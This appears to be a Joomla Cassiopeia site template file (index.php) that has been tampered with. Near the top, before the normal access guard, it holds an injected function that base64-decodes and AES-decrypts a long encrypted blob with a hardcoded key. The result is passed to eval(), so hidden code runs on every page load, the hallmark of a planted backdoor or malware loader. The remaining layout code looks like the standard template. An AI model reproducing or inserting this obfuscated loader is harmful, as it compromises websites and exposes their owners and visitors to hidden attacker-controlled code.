<?php
/**
* @package Joomla.Site
* @subpackage Templates.cassiopeia
*
* @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
function e7061($e){
$ed = base64_decode($e);
$n = openssl_decrypt("$ed","AES-256-CBC","8888999988889999",0,"8888999988889999");
return $n;
}
$e7091="Z05MbFlBeXkydUV3b1FJUzdXUkZnRjZqU25PcUpPZGNnSUErYTR2QjlxRGRjb21KK0JUTVFGdWN6Nys5MTZOWG5hM0lCKzdma1duZTIxUjR6cmtOUEsxR3B5dDNSUGNEQmpCYlJZWjZBcy9HZWo5VEh6aysxZXpXU3BzSGFqVkwrTDRiN2NnUTljeW9PbFNLVjVMQ1dNNkZqQVlCS3hkNStqT2E0bnNWOElnYzlpYWoxRS82bDFSMTQvRDd2SHpRNkhuakNEdkpVKzVRSDlXaGI5aFBkNHl5M3VONnA5Nzd4S1R4bHh0R1p5MUNMU3VxUG9pbExZZm94aE9LRXM1UWRkMnEvK2RYUkkwcFF1aWVlVXY4Vzk1TXhnUVBTa3B0elhyazhCenQxSXlvMm4rQ1V3OVJSUit1SmhDVUIveEQ3NFlPK1VZbngwTWY4Z2dXcjB6VU9vcHI1WVJGUGF2NDYrZngxaytIeTVkMnAwRDhtSjZTOVk1VS9uUXpRMGVPUXRjOUpBS2RjdUthVGpZbkcvbDdqQmU3M0szTG0zNFZCQk1SNVE3U1F0NTVHSGhnVnYrYkRacGt4dGUzTVdOY01sSVJmcjhjQ0NuTXFxTlZwRUdzU2NKN0VMcTBpWCtxeTRTVWM4aTVvdHRWaHVlQTVXYjFPS0MvVU9EU2hBMU8xeERPVytXWUgyNVdtTlVTc2crb29WMCt4S3V3OEtyRSs5Zk44aVYvTG5IcHRNLzI4RHRzQjRmc0luRGY1UVlHL3Rjd1dCWVAzUFNoNk5qSGwrNzY0Y1lwTTdGVmJyN3Znc0J1OU1IUmVWalo0eVBPZG1pcCtjZWwzQ3JqajRFZms3Q2ZBQXg4WktqWFI5SHJTMkRiU29qa3Z4N2o0clZlMVlVb1AvYlI1M2ZmTGl5RWxyZ0tVMWx1SUViR3RtaHZNME5CRFd3VUFieWhVNUFIaS9LdjcwWU1HNVNaTHNtSkJ1NWdMT2VsNlNscVN5akFTZVUrSWd5eHYyanlvSWhoMzdyMThaRW9pQ1ljeGdBTFNnQWYyVCtqaS9JWGdkaWtOK1VjVzFFaHB1WDEyWDdJWFBlYUZKVUMwVUJSTHhmczV4ZGt4ajA5ZkNMTDBMcFdRdU11dWIwNTN0NHlVNWs1TlNDQXZzc3VXNlVXNTcyR0htcUdCM21uZzJMYnJuQ0dpM2Q1ZzV6THA2NDNzb2NZQjdMSUpYU085anFtZUlBRUNKaFpEUXUxbDBTYmlqcGtmQzdVM2hmZk1oQjZCempYMk1qeWVmdDBRVU9hdUNseVVpL3lMQ0c1c1NKUUR5ZEI4R1ZoVG9mUmlOdzJxQXRtaC9nWHlLSXlHc3RjMzNKZ05ZR0lBTzdHcFV0R280TmJYRFZuUUdySHhzK1RtaTJhNStWK2JsL0tVTFd0WEZMZ0NYeW5qSmo1UDV3azlQRTdKQ2gvQTBmV0svRXZjTkhEV0h0ZGJpNm9YcDU0WmUyT1BibzBCVFpqT08rOVhtSmF6a2ZDZEpLeWoyYXhMOTUvVEg4b1BUWStFNE1tTUhoTDZYTmliZUh6MEZMUTkwREhlTkl3djlZUlJ0NlI2c3RhSGo0YzNWQk93ZWFpVjNLRE80Rzk2ZWJCSDVBTGRxUTBpU3Z1RHE5Nm5TbnRxRkk2azlvMHBtdlIvMlBleWp1SGpnZllXWVF4K0dRQXROZUVJdUM1N0NZQlJaV2FMV1lCS0VEbTB4TzBjODFCVjNDN2N0dUFqYmJxTklVRm5YUHFaZng0d01tazVWdnlyUzhsL0kzcjV2Q0tYUkJSeE5pc3ZySlU3QmpqMno0UFFadUdaT3R5a3N1eDQ3MjJMK2xVY2RZSGVtTFRpVVF2V0VpVDMwS01tdCtqRDdnUXdVZ0pmaHVyTkR3VlgvcDhXYklnMXYvbkhyZ2I4RmI3TUpGeGU0dHdvQ01tYmhyRy9PZHNIaGhQVmNTTEtleGFMdHozRFNZSGhEVGhwM3BTZ2VUaTNvWTVTNWJ5aHBKc1Y0RDFkODNGWlorVTU2U2lwOG0rQi9EcDN1TU5TL1U2cFlsSlBweTdmbDRkVldSWHNjSnhNSmEzcTVZcXRqVFEvZ1B3U3dhVHgzYnhlQlgzdTNrU1B3aXhJTzZYZEtTNUJKbnhPaUZhejNHb2t5NU5ycnpjb2lLZTVQQUVyVGcrUkRvYmNUVWtKQm1oTjJFdWsreC9ncVU2VUpiTmpGbkk1WVYyMWszU3habGREQVNqT1AxTGQ1Ti9DRjE3UmRYcGd6SXZXcUdNN1JkaVpicjlTTEI3OENSY0ZSS0tPeUNCVnJKU25VT2wzc2RVbFBtNmd0Q3REUjM4WkdEU0NBY2Zpb3JHZVltZWs4Zm4xWmx5ajBHdkxLdXRCZHNlcExHYnlkTklNM2FPcW1tUWFIVHo0YUZ2ckNmLzFsSnI1cHZyZ2o2LzB5b2J1K3RJcGlrN3NSU1dtZmQvdHh2aG14M3NNQmhIVUNxallqajVWWE1vQkMzd1g1ZFN1Qk5WMGVHRlZ1SE5SYlFHclR6SmwzditTaEVrUTloRnIzdHVLYXF1SWU2czluRHZ2ZHRFVE5kSGkzajZKRFpBbEVkUGZlSEVjTW5kYXBzQzRaallQVmRHSGUxOXFlRVZLaUlla0VDeHN1U3JJTmtCVFkwcUEyNnA5bEwzQ2VqMXVmbWlKbUR4TExyQmlwNkVVcXdrblU1QlluVG9OTytnSUx6Z2xSR0ZiM0U2MldZN1N3QlFmbUo3MEp1eXVVS2tKNVlNM2pBMmlCVjBWYUF5aTk1Ny81QmE1NzZhekVTQ0RJeUI1enI4ZGxxaUcycEFRd0t4eEF6WTgwRnJ2djY1WVZOTHdndDdRZHhpcnA5eElBaWJ3elQ4TEtTdEdPVzhsbXdVWUhvUGdjYWhFSVZwRUV6L05Cd2xEeHVrZHErRDY0ZUpqOU1iWjEyUllvTlJKa0ZSejk3dC94YVcvcXVmWVVFenBLdHlpbTJQSmlTZHE0T1lwTEt3aWJtN0pHZ01DUDAxZFZUMExicWpwMnd5a1JZbWw0NlZONWNFMHQ3c1VEVFMxU2dreldtZS9Md3Zyd1RvaU1HdWEyQ0tGeEltNGxiNitPNVRnRU5jeldXR25UTjc2Vm5ab1Z2U21sYWdjc2ZMRnVjbWlGTm9tTnhsZnd5OVNYZVQyaWtnZWtScytLdy9BZ2QwT2tVRGJvZUlxZGxJMUs4UUt6YXpHaDBsUzhVTG92MkdkRVc1NzVEcXIwT24yUkd2bzkvcjhwU0J4Vy9ZcWhkaHhlRkJhOWZuQWw1VXlUTWZOYTBERlNoZWo0QmRUTzdqSzdTZFFMTmlIOGpMV0xQNERKR2ovcDdOOTF6a1BVbUNTKzZvbG1WTWQ2RWIwaUZ1ekEyVndtYloyRnJ1c0NHb1gxTGRrK0ppcjNHMEZWWFhrNnNlUzVlYXJoQndSK0hlaGdJcVl5cmprT3ozcHVjeEZJRjBwYlp3c2NFR0ExclN5WUVOTW9FTFBvVXpTMWlsM216NEZJUWNUL0o2SmpIanljWEFCOUJkdU05ekdBL0NpK1I5RkhtN05nb21BaWN1dGx3SnNtTVVNUGFNSnZIWW11N3phSWxFcllENzNmTDBXdTE1UEs5cXc3VEFWY0Rwc1pwREJDdkE0WEFZb1ZwejlVaHZuRnNUNzg5eHBlNDY1U0EzUWxRaFBBa2VRdDZkUzc1aHpHK1czVDZ4b0dYK05TNnJXQ2JEakd2RmRnWVNaUlNtYWd3VzRmNkpDNzlMVUNhbTFjb3FuVm14cXZtVzNCdGhrSlBYU1FScmFieTdnY05ZMjlvamQ2MEQvYkl6bUFzVXB2ZS9HZ1BBZkdkbzZNN0ZYZC9pN0JENFM0MjhORG80UjB5TG5ML1ZoaXBoMGVaakRSMDc3WC81THJXcWNENkFqRGsxMWljeDNaTTBlb0hQd3k4SVN1alEvN08wWS9LSXRLSmNGdUI4UGdVNTBNZHppRHc0OGN6UWJMeXpwa1BxMG5EQVhRdWhWSHhPSUdmaTdJQ1lQSnVCdm1UemY0NnlnR3R5WXcwMkg1MEJ1U1pOZmE3Q0JxdnFaRUhVWGs1ellNc20rdlVxb2hwaDVnYzJEMFVSVG9rWFkxWENKZHZmbmdsVmtzNTRqQXBVQ1pvYlVSVHFueDJldFlWTzFhSDhDTm9hbmFadzNwd2pzQ1I2a3NNRjhIaElwVzgyWXVReGt6Q0h6NGNoM1phSzNwRnpmcTcvL3BYcWhsRmVocFZqaUpkQ2l4UFloMFlrdi9DQU9IUHA1MXFGSnUyQmZsTFJzUTBadnl2Y1dVTnM4RXJ0MmU0c2RTTEpoVUpRU3pyQUYzTHJuWFI1WkdxWUdUNkljL3p4Y1ZoNXB5c3ZoenZGN3lvb1JqMi9pTjRqaDZXVVl4WWtGcWRDWXQ4SzlLVkhqWjRMY3NnTVJ6ZFA5b1J3U2NiQm02QzkzbEM3cTFHaUN2bW1VT1dPTlNVQS9lSXowanVkVW9xbTY1ZkJVWXkzOFFEb1dNY1p6ejFLb2QxVFdOenBPTzFKamhLaWJaUG9vaE5Nb3R4VkIvcW1kSW0zeGlSdGVKdlJhS25HWnk1dmxzTzdqaHY3Zk9pLzZxdGtySGRqbldYZzFGNTZzTlZCUWJmYUE0L1ZtKzZyS1ZxdHNzR2tkQnAyVVI2SzVkZUxnY1F6Vm0zMXVxZzJMc0NHNCtORGcrL0JaZUdZS3kwMXJUTnpWZ0srOFNlTmFIUTlxcDBFUVRsa2J5cFZXd1l1WFV4MjhuOXI1Q0FkL3ZhSi94Y0dEWmp1SHNkNURpTFNMbUllNC9MWUxFWDRLUjh0cDFtL3F2WnI0ajJCdkJJTXVBTWp6OU43Ulk4MU03SVRIVUVrNGthSysyWk9ydDdGeGp1S0dQb3Y3a2Uva1J1Z1EyL3d6MlcrQ2ttQXdXRmZ3NEJCWmJxTmxaclMwdW43cnNMaE9vOFQ0ZFU4RUZhVlF6dzFIdkFrRkt1YU01WFBXRHRoMnB2LzB0blVqa1g5R2hBLzgxVnFvU0F6dlcvOEpjS0N6VHBrUEhsejQvdXBURGdaakdISTZSbUNQUW5SY2I3NTRtRUQ0UjZBWW1jSjFSUHMwRHRIeXZDSTNqOUUxUzlEaTFHMm44R0hIMGQvUUVKY0R4bVBYeVgrZjdaLzgvQUlESEZmcmNXTTMyVS8wRUFGVFp2T2ZHSVF1MXFMSzU4NFlYQit0amdFVnFjQ01nUHB5dGpzT3lKaEFVVU01a053RUkxM0pieEtzUlp4bThmeEd4VEdPeTM5alNmeWpaNzNWMkNZSHAwK3RqL01TZ2xxRWhnWjVmUzJzWmhmcDVhUXByMm92SXorWVJmYUVlMVdja2dESlQvTTNPNmtJc3dOaVJlRzFTdUN2NTR6ODJ2Z3dLMWc1bkorSGJ3NXZpS091cWJxaHBESnp1TndRUFpHUHJMRGgyd3kxT3ZNRDdBQVN6UkJsVlRKWnlTaXZXU1NmTElsV2psMVZKWTNGcUdoNnpua0M2dUY2M2hxYTZ2dGZxRTdBRkRtblVmcTBZVmVXR0xNTEtuVk95My9xMUlLZG5DbTU0c2RTSnkwdjFjRkIra1Bobk9mR29MVVRQV0lXNEErNnh1OXNvOTQvSHNSalZ6Z25jdEhRZ2Jxb0dGZDhESThOUWVnSWF5U0d1ekEvWG9ZZi9mN3JKdXQyWXhETGMwZjVodG91WDVHY0pmY1YzbHhCR0Z3OVdUUGtXbmhIVFFyRC9XL0trRlFkQTFjeFdNN3QyTWtqSnhqS3hFeVN3cWZjZWxqKzRRS29KU2ZXNXUxZXFMQVFNMnhFTVhCSlg1OEFtWU9tdVZ4cW1OVDNxem9GU1hqWEx2UHErVmlhWU51Wm0xanZGWGdaSlpTTmYzakdnUGY2bndVOG1uUXBNdkpFaFhQZE5TS3FHbnNqVVV3WjB4azQvVmtYa05FcUxJb1IyQUhtMTU3eG5uS25sUVRjRkJnSno5a0NkWG5vNms0dkQzTG4vRDdSTUJ1TFU0OGNKaGtlVEpDaFZmZ2YwcXJtM0tRRXR0UUhIWnBJZFFScFQrYndTRmdYZC9Ta3pZRzA3Rlc1UlpiWVRwdHNidC82b1ZkdEZxbHo1SlhCa2FaYmFORnZPSDVqZHJIOEZVbTFrMzVTNXlXRllQQVNiMUR4d3VRVDhGQXBEbWlGYXlWbFgyQ2xtNFpFOW1OcExLNnVmQkZmd0tzdWdFWXJTazl4dWVCZHJtb2pFRU1nV1hXZW01bE1hQmZObjdJSmhhT0tMMFkyeXNzcDNWcFZaenhqL0tZNk1pbnNXS3J1djdId0U3MUJ3emtCb2NhcGxPNzM0VUJJQ0prK3p1c3N2VlF4cFFacEFWNEMxRnF5VUc3ZTA3enNTN2lLQXQybS9hNk5VSVU3d2RGVDRob0VHVjlUR09mTXhzNmJUR215MWx4eWVqQ0V4eC9ISWxmSUJtbTU2MkNQOXJhRWdTT2grYzdEaUI0anNIUnJPdHRoeWpIK2w4b25Rb0FMNkpCYUQ0SlFseGh0WnVsRnFDbFBkMUdFWnZsbnRzUHNTTmcxTmtXem9rVCszaWZCdWt0ejlDVFU0L3hETnc1VEFnLzdNMG5kMlIxbk1pa2c2bXg0UT09";eval(e7061($e7091));
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
/** @var Joomla\CMS\Document\HtmlDocument $this */
$app = Factory::getApplication();
$input = $app->getInput();
$wa = $this->getWebAssetManager();
// Browsers support SVG favicons
$this->addHeadLink(HTMLHelper::_('image', 'joomla-favicon.svg', '', [], true, 1), 'icon', 'rel', ['type' => 'image/svg+xml']);
$this->addHeadLink(HTMLHelper::_('image', 'favicon.ico', '', [], true, 1), 'alternate icon', 'rel', ['type' => 'image/vnd.microsoft.icon']);
$this->addHeadLink(HTMLHelper::_('image', 'joomla-favicon-pinned.svg', '', [], true, 1), 'mask-icon', 'rel', ['color' => '#000']);
// Detecting Active Variables
$option = $input->getCmd('option', '');
$view = $input->getCmd('view', '');
$layout = $input->getCmd('layout', '');
$task = $input->getCmd('task', '');
$itemid = $input->getCmd('Itemid', '');
$sitename = htmlspecialchars($app->get('sitename'), ENT_QUOTES, 'UTF-8');
$menu = $app->getMenu()->getActive();
$pageclass = $menu !== null ? $menu->getParams()->get('pageclass_sfx', '') : '';
// Color Theme
$paramsColorName = $this->params->get('colorName', 'colors_standard');
$assetColorName = 'theme.' . $paramsColorName;
$wa->registerAndUseStyle($assetColorName, 'media/templates/site/cassiopeia/css/global/' . $paramsColorName . '.css');
// Use a font scheme if set in the template style options
$paramsFontScheme = $this->params->get('useFontScheme', false);
$fontStyles = '';
if ($paramsFontScheme) {
if (stripos($paramsFontScheme, 'https://') === 0) {
$this->getPreloadManager()->preconnect('https://fonts.googleapis.com/', ['crossorigin' => 'anonymous']);
$this->getPreloadManager()->preconnect('https://fonts.gstatic.com/', ['crossorigin' => 'anonymous']);
$this->getPreloadManager()->preload($paramsFontScheme, ['as' => 'style', 'crossorigin' => 'anonymous']);
$wa->registerAndUseStyle('fontscheme.current', $paramsFontScheme, [], ['media' => 'print', 'rel' => 'lazy-stylesheet', 'onload' => 'this.media=\'all\'', 'crossorigin' => 'anonymous']);
if (preg_match_all('/family=([^?:]*):/i', $paramsFontScheme, $matches) > 0) {
$fontStyles = '--cassiopeia-font-family-body: "' . str_replace('+', ' ', $matches[1][0]) . '", sans-serif;
--cassiopeia-font-family-headings: "' . str_replace('+', ' ', isset($matches[1][1]) ? $matches[1][1] : $matches[1][0]) . '", sans-serif;
--cassiopeia-font-weight-normal: 400;
--cassiopeia-font-weight-headings: 700;';
}
} else {
$wa->registerAndUseStyle('fontscheme.current', $paramsFontScheme, ['version' => 'auto'], ['media' => 'print', 'rel' => 'lazy-stylesheet', 'onload' => 'this.media=\'all\'']);
$this->getPreloadManager()->preload($wa->getAsset('style', 'fontscheme.current')->getUri() . '?' . $this->getMediaVersion(), ['as' => 'style']);
}
}
// Enable assets
$wa->usePreset('template.cassiopeia.' . ($this->direction === 'rtl' ? 'rtl' : 'ltr'))
->useStyle('template.active.language')
->useStyle('template.user')
->useScript('template.user')
->addInlineStyle(":root {
--hue: 214;
--template-bg-light: #f0f4fb;
--template-text-dark: #495057;
--template-text-light: #ffffff;
--template-link-color: var(--link-color);
--template-special-color: #001B4C;
$fontStyles
}");
// Override 'template.active' asset to set correct ltr/rtl dependency
$wa->registerStyle('template.active', '', [], [], ['template.cassiopeia.' . ($this->direction === 'rtl' ? 'rtl' : 'ltr')]);
// Logo file or site title param
if ($this->params->get('logoFile')) {
$logo = HTMLHelper::_('image', Uri::root(false) . htmlspecialchars($this->params->get('logoFile'), ENT_QUOTES), $sitename, ['loading' => 'eager', 'decoding' => 'async'], false, 0);
} elseif ($this->params->get('siteTitle')) {
$logo = '<span title="' . $sitename . '">' . htmlspecialchars($this->params->get('siteTitle'), ENT_COMPAT, 'UTF-8') . '</span>';
} else {
$logo = HTMLHelper::_('image', 'logo.svg', $sitename, ['class' => 'logo d-inline-block', 'loading' => 'eager', 'decoding' => 'async'], true, 0);
}
$hasClass = '';
if ($this->countModules('sidebar-left', true)) {
$hasClass .= ' has-sidebar-left';
}
if ($this->countModules('sidebar-right', true)) {
$hasClass .= ' has-sidebar-right';
}
// Container
$wrapper = $this->params->get('fluidContainer') ? 'wrapper-fluid' : 'wrapper-static';
$this->setMetaData('viewport', 'width=device-width, initial-scale=1');
$stickyHeader = $this->params->get('stickyHeader') ? 'position-sticky sticky-top' : '';
// Defer fontawesome for increased performance. Once the page is loaded javascript changes it to a stylesheet.
$wa->getAsset('style', 'fontawesome')->setAttribute('rel', 'lazy-stylesheet');
?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
<jdoc:include type="metas" />
<jdoc:include type="styles" />
<jdoc:include type="scripts" />
</head>
<body class="site <?php echo $option
. ' ' . $wrapper
. ' view-' . $view
. ($layout ? ' layout-' . $layout : ' no-layout')
. ($task ? ' task-' . $task : ' no-task')
. ($itemid ? ' itemid-' . $itemid : '')
. ($pageclass ? ' ' . $pageclass : '')
. $hasClass
. ($this->direction == 'rtl' ? ' rtl' : '');
?>">
<header class="header container-header full-width<?php echo $stickyHeader ? ' ' . $stickyHeader : ''; ?>">
<?php if ($this->countModules('topbar')) : ?>
<div class="container-topbar">
<jdoc:include type="modules" name="topbar" style="none" />
</div>
<?php endif; ?>
<?php if ($this->countModules('below-top')) : ?>
<div class="grid-child container-below-top">
<jdoc:include type="modules" name="below-top" style="none" />
</div>
<?php endif; ?>
<?php if ($this->params->get('brand', 1)) : ?>
<div class="grid-child">
<div class="navbar-brand">
<a class="brand-logo" href="<?php echo $this->baseurl; ?>/">
<?php echo $logo; ?>
</a>
<?php if ($this->params->get('siteDescription')) : ?>
<div class="site-description"><?php echo htmlspecialchars($this->params->get('siteDescription')); ?></div>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<?php if ($this->countModules('menu', true) || $this->countModules('search', true)) : ?>
<div class="grid-child container-nav">
<?php if ($this->countModules('menu', true)) : ?>
<jdoc:include type="modules" name="menu" style="none" />
<?php endif; ?>
<?php if ($this->countModules('search', true)) : ?>
<div class="container-search">
<jdoc:include type="modules" name="search" style="none" />
</div>
<?php endif; ?>
</div>
<?php endif; ?>
</header>
<div class="site-grid">
<?php if ($this->countModules('banner', true)) : ?>
<div class="container-banner full-width">
<jdoc:include type="modules" name="banner" style="none" />
</div>
<?php endif; ?>
<?php if ($this->countModules('top-a', true)) : ?>
<div class="grid-child container-top-a">
<jdoc:include type="modules" name="top-a" style="card" />
</div>
<?php endif; ?>
<?php if ($this->countModules('top-b', true)) : ?>
<div class="grid-child container-top-b">
<jdoc:include type="modules" name="top-b" style="card" />
</div>
<?php endif; ?>
<?php if ($this->countModules('sidebar-left', true)) : ?>
<div class="grid-child container-sidebar-left">
<jdoc:include type="modules" name="sidebar-left" style="card" />
</div>
<?php endif; ?>
<div class="grid-child container-component">
<jdoc:include type="modules" name="breadcrumbs" style="none" />
<jdoc:include type="modules" name="main-top" style="card" />
<jdoc:include type="message" />
<main>
<jdoc:include type="component" />
</main>
<jdoc:include type="modules" name="main-bottom" style="card" />
</div>
<?php if ($this->countModules('sidebar-right', true)) : ?>
<div class="grid-child container-sidebar-right">
<jdoc:include type="modules" name="sidebar-right" style="card" />
</div>
<?php endif; ?>
<?php if ($this->countModules('bottom-a', true)) : ?>
<div class="grid-child container-bottom-a">
<jdoc:include type="modules" name="bottom-a" style="card" />
</div>
<?php endif; ?>
<?php if ($this->countModules('bottom-b', true)) : ?>
<div class="grid-child container-bottom-b">
<jdoc:include type="modules" name="bottom-b" style="card" />
</div>
<?php endif; ?>
</div>
<?php if ($this->countModules('footer', true)) : ?>
<footer class="container-footer footer full-width">
<div class="grid-child">
<jdoc:include type="modules" name="footer" style="none" />
</div>
</footer>
<?php endif; ?>
<?php if ($this->params->get('backTop') == 1) : ?>
<a href="#top" id="back-top" class="back-to-top-link" aria-label="<?php echo Text::_('TPL_CASSIOPEIA_BACKTOTOP'); ?>">
<span class="icon-arrow-up icon-fw" aria-hidden="true"></span>
</a>
<?php endif; ?>
<jdoc:include type="modules" name="debug" style="none" />
</body>
</html>